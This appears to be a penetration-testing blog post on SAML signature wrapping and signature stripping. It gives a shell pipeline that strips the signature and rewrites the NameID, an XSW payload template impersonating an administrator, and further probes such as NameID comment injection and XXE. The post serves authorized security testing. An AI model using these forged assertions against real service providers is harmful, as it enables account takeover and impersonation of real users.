cd ../blog

SAML Signature Wrapping: Forging Assertions the Verifier Trusts

XML Signature Wrapping and signature stripping let an attacker alter a signed SAML assertion while keeping a valid signature, impersonating any user. We cover the verifier flaws and a working XSW PoC.

SAML single sign-on hinges on a digitally signed assertion: the identity provider signs "this is user X," and the service provider trusts it. XML Signature Wrapping (XSW) and signature stripping attack the verification step — the parser validates the signature over one element but reads identity from a different, attacker-injected one, letting you impersonate anyone while the signature still checks out.

Where it hides

The flaw lives in service providers that consume SAML responses, especially ones using permissive or hand-rolled XML signature validation:

  • Enterprise apps with "Login with SSO / SAML" backed by Okta, ADFS, Azure AD, or a generic IdP.
  • ACS (Assertion Consumer Service) endpoints, usually /saml/acs, /sso/saml, /saml2/consume.
  • Anywhere a base64 SAMLResponse form field is posted after IdP redirect.

The signals worth probing once you capture a real SAMLResponse (intercept the POST to the ACS, then base64-decode it):

  • Does the SP accept an assertion whose <Signature> references one element but whose identity lives in another?
  • Does it accept an unsigned assertion if a signed one is also present (or if the signature is removed entirely)?
  • Does it validate the signature digest at all, or trust any well-formed <Signature> block?

Decode and inspect the structure first:

echo "PHNhbWxwOlJlc3BvbnNl..." | base64 -d | xmllint --format -
# Note: the Signature's Reference URI and which element actually carries NameID

SAML Raider (Burp extension) automates capturing the response, editing the assertion, and replaying every XSW permutation; it is the standard tool for this.

Reproducing it

Signature stripping is the first thing to try, because some SPs only verify a signature if one is present. Decode the response, delete the entire <ds:Signature> element, change the NameID to a victim, re-encode, and replay:

# Remove the signature block and rewrite the identity, then re-encode for the ACS
xmllint --format resp.xml \
  | sed '/<ds:Signature/,/<\/ds:Signature>/d' \
  | sed 's#<saml:NameID[^>]*>[^<]*#&PLACEHOLDER#' > forged.xml
# (edit forged.xml: set NameID to admin@example.com)
base64 -w0 forged.xml

Post the result as SAMLResponse. If the SP logs you in as admin@example.com, it required no signature — authentication bypassed.

XSW is for SPs that do verify a signature: keep the original signed assertion intact (so the signature validates) but inject a second, unsigned assertion with your chosen identity, positioned so the SP reads yours while validating theirs. A representative wrapping wraps the legitimate signed assertion inside an element the validator checks, then adds an evil assertion the application logic reads:

<samlp:Response ID="_evil">
  <saml:Assertion ID="_attacker">
    <saml:Subject>
      <saml:NameID>admin@example.com</saml:NameID>   <!-- read by the app -->
    </saml:Subject>
    <saml:AuthnStatement .../>
  </saml:Assertion>
  <saml:Assertion ID="_original">                    <!-- still carries the valid signature -->
    <ds:Signature> ... references #_original ... </ds:Signature>
    <saml:Subject><saml:NameID>real-user@example.com</saml:NameID></saml:Subject>
  </saml:Assertion>
</samlp:Response>

The signature is mathematically valid (it covers #_original), but a vulnerable SP extracts the identity from the first <Assertion> it finds — yours. Replay the re-encoded response and a session as admin@example.com is the proof. SAML Raider's eight XSW templates cover the placement permutations so you can fire them in turn until one is accepted.

Going further

Successful forgery is full authentication bypass / account takeover, so frame impact at that level:

  • Impersonate an administrator by setting NameID/attributes to a privileged user.
  • Forge group/role attribute statements to escalate within the app.
  • Replay a single captured response repeatedly if there is no one-time-use binding.

Other related probes worth running on the same endpoint: comment-injection in the NameID (admin@example.com<!---->.evil) that some parsers truncate, and XXE inside the SAML XML itself. A practical recon habit is, for every captured assertion, to try (1) removing the signature, (2) wrapping it XSW-style, and (3) swapping just the NameID — and watch which the SP accepts. Capture the original and forged SAMLResponse, the XSW structure used, and the authenticated session it produced. Restrict testing to authorized targets and use identities you are permitted to assert.